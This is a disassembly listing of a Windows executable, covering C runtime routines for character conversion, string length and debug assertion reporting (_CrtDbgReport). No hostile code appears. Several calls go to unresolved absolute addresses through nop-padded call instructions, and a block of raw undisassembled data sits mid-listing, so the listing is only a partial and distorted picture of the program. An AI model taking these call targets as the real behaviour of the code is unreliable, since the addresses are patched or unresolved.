		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A5F2:				; CODE XREF: sub_41A570+55j
					; sub_41A570+59j
		test	eax, eax
		jz	short loc_41A5BA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41A5E5
		dec	eax
		jz	short loc_41A619
		cmp	dh, ch
		jnz	short loc_41A5E5
		dec	eax
		jz	short loc_41A619
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41A5E5
		dec	eax


loc_41A619:				; CODE XREF: sub_41A570+8Fj
					; sub_41A570+96j
		pop	edi
		pop	esi
		retn
sub_41A570	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A630	proc near		; CODE XREF: sub_411C31+6p
					; sub_411C4F+4Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB1B8, 0
		jnz	short loc_41A657
		cmp	[ebp+arg_0], 41h
		jl	short loc_41A652
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_41A652
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax


loc_41A652:				; CODE XREF: sub_41A630+11j
					; sub_41A630+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_41A6BF
; ---------------------------------------------------------------------------


loc_41A657:				; CODE XREF: sub_41A630+Bj
		push	offset dword_4DB45C
		nop
		call	near ptr 2840CCAh
		cmp	dword_4DB458, 0
		jz	short loc_41A689
		push	offset dword_4DB45C
		nop
		call	near ptr 2840C7Bh
		push	13h
		call	sub_41B780
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_41A690
; ---------------------------------------------------------------------------


loc_41A689:				; CODE XREF: sub_41A630+39j
		mov	[ebp+var_4], 0


loc_41A690:				; CODE XREF: sub_41A630+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41A6D0
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41A6B1
		push	13h
		call	sub_41B820
		add	esp, 4
		jmp	short loc_41A6BC
; ---------------------------------------------------------------------------


loc_41A6B1:				; CODE XREF: sub_41A630+73j
		push	offset dword_4DB45C
		call	near ptr 2840C7Bh
		nop


loc_41A6BC:				; CODE XREF: sub_41A630+7Fj
		mov	eax, [ebp+arg_0]


loc_41A6BF:				; CODE XREF: sub_41A630+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_41A630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6D0	proc near		; CODE XREF: sub_41A630+64p
					; sub_42FE70+94p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4DB1B8, 0
		jnz	short loc_41A6FC
		cmp	[ebp+arg_0], 41h
		jl	short loc_41A6F4
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_41A6F4
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax


loc_41A6F4:				; CODE XREF: sub_41A6D0+13j
					; sub_41A6D0+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_41A7F7
; ---------------------------------------------------------------------------


loc_41A6FC:				; CODE XREF: sub_41A6D0+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_41A743
		cmp	dword_443B70, 1
		jle	short loc_41A721
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_41A735
; ---------------------------------------------------------------------------


loc_41A721:				; CODE XREF: sub_41A6D0+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 1
		mov	[ebp+var_10], ecx


loc_41A735:				; CODE XREF: sub_41A6D0+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_41A743
		mov	eax, [ebp+arg_0]
		jmp	loc_41A7F7
; ---------------------------------------------------------------------------


loc_41A743:				; CODE XREF: sub_41A6D0+33j
					; sub_41A6D0+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_41A78C
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_41A79D
; ---------------------------------------------------------------------------


loc_41A78C:				; CODE XREF: sub_41A6D0+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1


loc_41A79D:				; CODE XREF: sub_41A6D0+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	100h
		mov	edx, dword_4DB1B8
		push	edx
		call	sub_425B90
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41A7D1
		mov	eax, [ebp+arg_0]
		jmp	short loc_41A7F7
; ---------------------------------------------------------------------------


loc_41A7D1:				; CODE XREF: sub_41A6D0+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_41A7E1
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_41A7F7
; ---------------------------------------------------------------------------


loc_41A7E1:				; CODE XREF: sub_41A6D0+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx


loc_41A7F7:				; CODE XREF: sub_41A6D0+27j
					; sub_41A6D0+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41A6D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A800	proc near		; CODE XREF: ___:004123CBp
					; sub_4132FD+55p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41A80A:				; CODE XREF: sub_41A800+1Fj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_41A821
		jmp	short loc_41A80A
; ---------------------------------------------------------------------------


loc_41A821:				; CODE XREF: sub_41A800+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		sar	eax, 1
		sub	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_41A800	endp

; ---------------------------------------------------------------------------
		dd 0F9E4BDDBh, 0BC9CEE46h, 5662A25Eh, 0FCCA38BBh, 0ED296DD7h
		dd 3DBD6AECh, 917793D4h, 4055B70Fh, 821B3A29h, 2EB42709h
		dd 213D3854h, 4DB0B0A3h, 0B0B0A100h, 0E8C1004Dh, 0FF2508h
		dd 0BCA30000h, 8B004DB0h, 4DB0B00Dh, 0FFE18100h, 89000000h
		dd 4DB0B80Dh, 0B8158B00h, 0C1004DB0h, 150308E2h, 4DB0BCh
		dd 0B0B41589h, 0B0A1004Dh, 0C1004DB0h, 0FF2510E8h, 0A30000FFh
		dd 4DB0B0h, 4DE8016Ah, 83000014h, 0C08504C4h, 1C6A0A75h
		dd 10FE8h, 4C48300h, 4FC7E8h, 75C08500h, 0E8106A0Ah, 0FCh
		dd 0C704C483h, 0FC45h, 2DE80000h, 90000076h, 43733AE8h
		dd 0B7A8A302h, 3DE8004Dh, 0A30000BFh, 4DB11Ch, 0BA23E8h
		dd 0B8CEE800h, 0F9E80000h, 0C7FFFFCFh, 0D045h, 4D8D0000h
		dd 0E9E851A4h, 90024356h, 0B7F3E8h, 9C458900h, 83D0558Bh
		dd 0D28501E2h, 458B0D74h, 0FFFF25D4h, 45890000h, 0C707EB94h
		dd 0A9445h, 4D8B0000h, 558B5194h, 6A529Ch, 48E8006Ah, 9002285Eh
		dd 7E3CE850h, 4589FFFEh, 0A0458BA0h, 0CFDEE850h, 4D8BFFFFh
		dd 8B118BECh, 98458902h, 51EC4D8Bh, 5298558Bh, 0B577E8h
		dd 8C48300h, 0E8658BC3h, 5098458Bh, 0FFCFD7E8h,	0F04D8BFFh
		dd 0D8964h, 5F000000h, 0E58B5B5Eh, 0CCCCC35Dh, 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A9A0	proc near		; CODE XREF: sub_418D40+8Dp
					; sub_419CB0+2Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_4DB124, 1
		jnz	short loc_41A9B1
		call	sub_426B30


loc_41A9B1:				; CODE XREF: sub_41A9A0+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_426B80
		add	esp, 4
		push	0FFh
		call	off_443B80
		add	esp, 4
		pop	ebp
		retn
sub_41A9A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4DB124, 1
		jnz	short loc_41A9E1
		call	sub_426B30


loc_41A9E1:				; CODE XREF: ___:0041A9DAj
		mov	eax, [ebp+8]
		push	eax
		call	sub_426B80
		add	esp, 4
		push	0FFh
		nop
		call	near ptr 77E75CB5h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA00	proc near		; CODE XREF: sub_41AB10+113p
					; sub_41AEA0+33p
		push	ebp
		mov	ebp, esp
		nop
		call	near ptr 77EB36A5h
		pop	ebp
		retn
sub_41AA00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_41AA20
		cmp	dword ptr [ebp+8], 3
		jl	short loc_41AA25


loc_41AA20:				; CODE XREF: ___:0041AA18j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41AA63
; ---------------------------------------------------------------------------


loc_41AA25:				; CODE XREF: ___:0041AA1Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFFh
		jnz	short loc_41AA37
		mov	eax, [ebp+8]
		mov	eax, dword_443B8C[eax*4]
		jmp	short loc_41AA63
; ---------------------------------------------------------------------------


loc_41AA37:				; CODE XREF: ___:0041AA29j
		mov	ecx, [ebp+0Ch]
		and	ecx, 0FFFFFFF8h
		test	ecx, ecx
		jz	short loc_41AA46
		or	eax, 0FFFFFFFFh
		jmp	short loc_41AA63
; ---------------------------------------------------------------------------


loc_41AA46:				; CODE XREF: ___:0041AA3Fj
		mov	edx, [ebp+8]
		mov	eax, dword_443B8C[edx*4]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	dword_443B8C[ecx*4], edx
		mov	eax, [ebp-4]


loc_41AA63:				; CODE XREF: ___:0041AA23j
					; ___:0041AA35j ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_41AA80
		cmp	dword ptr [ebp+8], 3
		jl	short loc_41AA87


loc_41AA80:				; CODE XREF: ___:0041AA78j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_41AAEA
; ---------------------------------------------------------------------------


loc_41AA87:				; CODE XREF: ___:0041AA7Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFAh
		jnz	short loc_41AA99
		mov	eax, [ebp+8]
		mov	eax, dword_443B98[eax*4]
		jmp	short loc_41AAEA
; ---------------------------------------------------------------------------


loc_41AA99:				; CODE XREF: ___:0041AA8Bj
		mov	ecx, [ebp+8]
		mov	edx, dword_443B98[ecx*4]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFCh
		jnz	short loc_41AAC0
		push	0FFFFFFF5h
		nop
		call	near ptr 2860000h
		mov	ecx, [ebp+8]
		mov	dword_443B98[ecx*4], eax
		jmp	short loc_41AAE7
; ---------------------------------------------------------------------------


loc_41AAC0:				; CODE XREF: ___:0041AAAAj
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFBh
		jnz	short loc_41AADA
		push	0FFFFFFF4h
		call	near ptr 2860000h
		nop
		mov	edx, [ebp+8]
		mov	dword_443B98[edx*4], eax
		jmp	short loc_41AAE7
; ---------------------------------------------------------------------------


loc_41AADA:				; CODE XREF: ___:0041AAC4j
		mov	eax, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	dword_443B98[eax*4], ecx


loc_41AAE7:				; CODE XREF: ___:0041AABEj
					; ___:0041AAD8j
		mov	eax, [ebp-4]


loc_41AAEA:				; CODE XREF: ___:0041AA85j
					; ___:0041AA97j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB7A4
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4DB7A4, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB10	proc near		; CODE XREF: sub_414C60+24p
					; sub_414CF0+2Cp ...

var_302C	= dword	ptr -302Ch
var_3028	= dword	ptr -3028h
var_3024	= byte ptr -3024h
var_3010	= byte ptr -3010h
var_300C	= dword	ptr -300Ch
var_3008	= byte ptr -3008h
var_3007	= byte ptr -3007h
var_2008	= byte ptr -2008h
var_2007	= byte ptr -2007h
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 302Ch
		call	sub_417E20
		push	edi
		mov	[ebp+var_3008],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_3007]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_2008],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_2007]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_1000],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_FFF]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+arg_14]
		mov	[ebp+var_1004],	eax
		cmp	[ebp+arg_0], 0
		jl	short loc_41AB7E
		cmp	[ebp+arg_0], 3
		jl	short loc_41AB86


loc_41AB7E:				; CODE XREF: sub_41AB10+66j
		or	eax, 0FFFFFFFFh
		jmp	loc_41AE9B
; ---------------------------------------------------------------------------


loc_41AB86:				; CODE XREF: sub_41AB10+6Cj
		cmp	[ebp+arg_0], 2
		jnz	loc_41AC30
		push	offset dword_443B88
		nop
		call	near ptr 2840CCAh
		test	eax, eax
		jle	loc_41AC30
		cmp	dword_4DB128, 0
		jnz	short loc_41ABEE
		push	offset aUser32_dll_0 ; "user32.dll"
		nop
		call	near ptr 2690610h
		mov	[ebp+var_300C],	eax
		cmp	[ebp+var_300C],	0
		jz	short loc_41ABE6
		push	offset aWsprintfa ; "wsprintfA"
		mov	ecx, [ebp+var_300C]
		push	ecx
		nop
		call	near ptr 26A0000h
		mov	dword_4DB128, eax
		cmp	dword_4DB128, 0
		jnz	short loc_41ABEE


loc_41ABE6:				; CODE XREF: sub_41AB10+B4j
		or	eax, 0FFFFFFFFh
		jmp	loc_41AE9B
; ---------------------------------------------------------------------------


loc_41ABEE:				; CODE XREF: sub_41AB10+9Aj
					; sub_41AB10+D4j
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	offset aSecondChanceAs ; "Second Chance	Assertion Failed: File %s"...
		lea	ecx, [ebp+var_2008]
		push	ecx
		call	dword_4DB128
		add	esp, 10h
		lea	edx, [ebp+var_2008]
		push	edx
		nop
		call	near ptr 28602BDh
		push	offset dword_443B88
		call	near ptr 2840C7Bh
		nop
		call	sub_41AA00
		or	eax, 0FFFFFFFFh
		jmp	loc_41AE9B
; ---------------------------------------------------------------------------


loc_41AC30:				; CODE XREF: sub_41AB10+7Aj
					; sub_41AB10+8Dj
		cmp	[ebp+arg_10], 0
		jz	short loc_41AC6D
		mov	eax, [ebp+var_1004]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		push	0FEDh
		lea	edx, [ebp+var_1000]
		push	edx
		call	sub_4170D0
		add	esp, 10h
		test	eax, eax
		jge	short loc_41AC6D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4184C0
		add	esp, 8


loc_41AC6D:				; CODE XREF: sub_41AB10+124j
					; sub_41AB10+147j
		cmp	[ebp+arg_0], 2
		jnz	short loc_41ACA5
		cmp	[ebp+arg_10], 0
		jz	short loc_41AC85
		mov	[ebp+var_3028],	offset aAssertionFaile ; "Assertion failed: "
		jmp	short loc_41AC8F
; ---------------------------------------------------------------------------


loc_41AC85:				; CODE XREF: sub_41AB10+167j
		mov	[ebp+var_3028],	offset aAssertionFai_0 ; "Assertion failed!"


loc_41AC8F:				; CODE XREF: sub_41AB10+173j
		mov	ecx, [ebp+var_3028]
		push	ecx
		lea	edx, [ebp+var_3008]
		push	edx
		call	sub_4184C0
		add	esp, 8


loc_41ACA5:				; CODE XREF: sub_41AB10+161j
		lea	eax, [ebp+var_1000]
		push	eax
		lea	ecx, [ebp+var_3008]
		push	ecx
		call	sub_4184D0
		add	esp, 8
		cmp	[ebp+arg_0], 2
		jnz	short loc_41ACFA
		mov	edx, [ebp+arg_0]
		mov	eax, dword_443B8C[edx*4]
		and	eax, 1
		test	eax, eax
		jz	short loc_41ACE6
		push	offset asc_433D20 ; "\r"
		lea	ecx, [ebp+var_3008]
		push	ecx
		call	sub_4184D0
		add	esp, 8


loc_41ACE6:				; CODE XREF: sub_41AB10+1C0j
		push	offset asc_433D1C ; "\n"
		lea	edx, [ebp+var_3008]
		push	edx
		call	sub_4184D0
		add	esp, 8


loc_41ACFA:				; CODE XREF: sub_41AB10+1AFj
		cmp	[ebp+arg_4], 0
		jz	short loc_41AD42
		lea	eax, [ebp+var_3008]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aSDS	; "%s(%d) : %s"
		push	1000h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4172D0
		add	esp, 18h
		test	eax, eax
		jge	short loc_41AD40
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_2008]
		push	ecx
		call	sub_4184C0
		add	esp, 8


loc_41AD40:				; CODE XREF: sub_41AB10+21Aj
		jmp	short loc_41AD58
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AB10+1EEj
		lea	edx, [ebp+var_3008]
		push	edx
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4184C0
		add	esp, 8


loc_41AD58:				; CODE XREF: sub_41AB10:loc_41AD40j
		cmp	dword_4DB7A4, 0
		jz	short loc_41AD9C
		lea	ecx, [ebp+var_1008]
		push	ecx
		lea	edx, [ebp+var_2008]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4DB7A4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41AD9C
		cmp	[ebp+arg_0], 2
		jnz	short loc_41AD91
		push	offset dword_443B88
		nop
		call	near ptr 2840C7Bh


loc_41AD91:				; CODE XREF: sub_41AB10+274j
		mov	eax, [ebp+var_1008]
		jmp	loc_41AE9B
; ---------------------------------------------------------------------------


loc_41AD9C:				; CODE XREF: sub_41AB10+24Fj
					; sub_41AB10+26Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_443B8C[ecx*4]
		and	edx, 1
		test	edx, edx
		jz	short loc_41ADEB
		mov	eax, [ebp+arg_0]
		cmp	dword_443B98[eax*4], 0FFFFFFFFh
		jz	short loc_41ADEB
		push	0
		lea	ecx, [ebp+var_3010]
		push	ecx
		lea	edx, [ebp+var_2008]
		push	edx
		call	sub_414BE0
		add	esp, 4
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_443B98[ecx*4]
		push	edx
		call	near ptr 2720000h
		nop


loc_41ADEB:				; CODE XREF: sub_41AB10+29Bj
					; sub_41AB10+2A8j
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_443B8C[eax*4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_41AE09
		lea	edx, [ebp+var_2008]
		push	edx
		call	near ptr 28602BDh
		nop


loc_41AE09:				; CODE XREF: sub_41AB10+2EAj
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_443B8C[eax*4]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_41AE88
		cmp	[ebp+arg_8], 0
		jz	short loc_41AE3D
		push	0Ah
		lea	edx, [ebp+var_3024]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_426D90
		add	esp, 0Ch
		mov	[ebp+var_302C],	eax
		jmp	short loc_41AE47
; ---------------------------------------------------------------------------


loc_41AE3D:				; CODE XREF: sub_41AB10+30Ej
		mov	[ebp+var_302C],	0


loc_41AE47:				; CODE XREF: sub_41AB10+32Bj
		lea	ecx, [ebp+var_1000]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_302C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41AEA0
		add	esp, 14h
		mov	[ebp+var_1008],	eax
		cmp	[ebp+arg_0], 2
		jnz	short loc_41AE80
		push	offset dword_443B88
		nop
		call	near ptr 2840C7Bh


loc_41AE80:				; CODE XREF: sub_41AB10+363j
		mov	eax, [ebp+var_1008]
		jmp	short loc_41AE9B
; ---------------------------------------------------------------------------


loc_41AE88:				; CODE XREF: sub_41AB10+308j
		cmp	[ebp+arg_0], 2
		jnz	short loc_41AE99
		push	offset dword_443B88
		nop
		call	near ptr 2840C7Bh


loc_41AE99:				; CODE XREF: sub_41AB10+37Cj
		xor	eax, eax


loc_41AE9B:				; CODE XREF: sub_41AB10+71j
					; sub_41AB10+D9j ...
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_41AB10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AEA0	proc near		; CODE XREF: sub_41AB10+351p

var_1138	= dword	ptr -1138h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= dword	ptr -1114h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1138h
		call	sub_417E20


loc_41AEAD:				; CODE XREF: sub_41AEA0+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_41AED8
		push	offset aSzusermessageN ; "szUserMessage	!= NULL"
		push	0
		push	1DAh
		push	offset aDbgrpt_c ; "dbgrpt.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41AED8
		call	sub_41AA00


loc_41AED8:				; CODE XREF: sub_41AEA0+11j
					; sub_41AEA0+31j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41AEAD
		push	104h
		lea	ecx, [ebp+var_108]
		push	ecx
		push	0
		nop
		call	near ptr 2680000h
		test	eax, eax
		jnz	short loc_41AF0A
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	edx, [ebp+var_108]
		push	edx
		call	sub_4184C0
		add	esp, 8


loc_41AF0A:				; CODE XREF: sub_41AEA0+54j
		lea	eax, [ebp+var_108]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_41AF4D
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_4], edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_417770
		add	esp, 0Ch


loc_41AF4D:				; CODE XREF: sub_41AEA0+82j
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_1110],	ecx
		cmp	[ebp+var_1110],	0
		jz	short loc_41AFA8
		mov	edx, [ebp+var_1110]
		push	edx
		call	sub_414BE0
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_41AFA8
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp+var_1110]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_1110],	edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_417770
		add	esp, 0Ch


loc_41AFA8:				; CODE XREF: sub_41AEA0+BDj
					; sub_41AEA0+D1j
		cmp	[ebp+arg_0], 2
		jnz	short loc_41AFBA
		mov	[ebp+var_1114],	offset aForInformation ; "\n\nFor information on how your program c"...
		jmp	short loc_41AFC4
; ---------------------------------------------------------------------------


loc_41AFBA:				; CODE XREF: sub_41AEA0+10Cj
		mov	[ebp+var_1114],	offset dword_433E6C


loc_41AFC4:				; CODE XREF: sub_41AEA0+118j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41AFD9
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1118],	eax
		jmp	short loc_41AFE3
; ---------------------------------------------------------------------------


loc_41AFD9:				; CODE XREF: sub_41AEA0+12Cj
		mov	[ebp+var_1118],	offset dword_433E6C


loc_41AFE3:				; CODE XREF: sub_41AEA0+137j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41AFFF
		cmp	[ebp+arg_0], 2
		jnz	short loc_41AFFF
		mov	[ebp+var_111C],	offset aExpression ; "Expression: "
		jmp	short loc_41B009
; ---------------------------------------------------------------------------


loc_41AFFF:				; CODE XREF: sub_41AEA0+14Bj
					; sub_41AEA0+151j
		mov	[ebp+var_111C],	offset dword_433E6C


loc_41B009:				; CODE XREF: sub_41AEA0+15Dj
		mov	eax, [ebp+arg_10]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_41B01F
		mov	[ebp+var_1120],	offset asc_433E58 ; "\n\n"
		jmp	short loc_41B029
; ---------------------------------------------------------------------------


loc_41B01F:				; CODE XREF: sub_41AEA0+171j
		mov	[ebp+var_1120],	offset dword_433E6C


loc_41B029:				; CODE XREF: sub_41AEA0+17Dj
		cmp	[ebp+arg_8], 0
		jz	short loc_41B03A
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1124],	edx
		jmp	short loc_41B044
; ---------------------------------------------------------------------------


loc_41B03A:				; CODE XREF: sub_41AEA0+18Dj
		mov	[ebp+var_1124],	offset dword_433E6C


loc_41B044:				; CODE XREF: sub_41AEA0+198j
		cmp	[ebp+arg_8], 0
		jz	short loc_41B056
		mov	[ebp+var_1128],	offset aLine ; "\nLine:	"
		jmp	short loc_41B060
; ---------------------------------------------------------------------------


loc_41B056:				; CODE XREF: sub_41AEA0+1A8j
		mov	[ebp+var_1128],	offset dword_433E6C


loc_41B060:				; CODE XREF: sub_41AEA0+1B4j
		cmp	[ebp+arg_4], 0
		jz	short loc_41B071
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_112C],	eax
		jmp	short loc_41B07B
; ---------------------------------------------------------------------------


loc_41B071:				; CODE XREF: sub_41AEA0+1C4j
		mov	[ebp+var_112C],	offset dword_433E6C


loc_41B07B:				; CODE XREF: sub_41AEA0+1CFj
		cmp	[ebp+arg_4], 0
		jz	short loc_41B08D
		mov	[ebp+var_1130],	offset aFile ; "\nFile:	"
		jmp	short loc_41B097
; ---------------------------------------------------------------------------


loc_41B08D:				; CODE XREF: sub_41AEA0+1DFj
		mov	[ebp+var_1130],	offset dword_433E6C


loc_41B097:				; CODE XREF: sub_41AEA0+1EBj
		cmp	[ebp+var_1110],	0
		jz	short loc_41B0AE
		mov	ecx, [ebp+var_1110]
		mov	[ebp+var_1134],	ecx
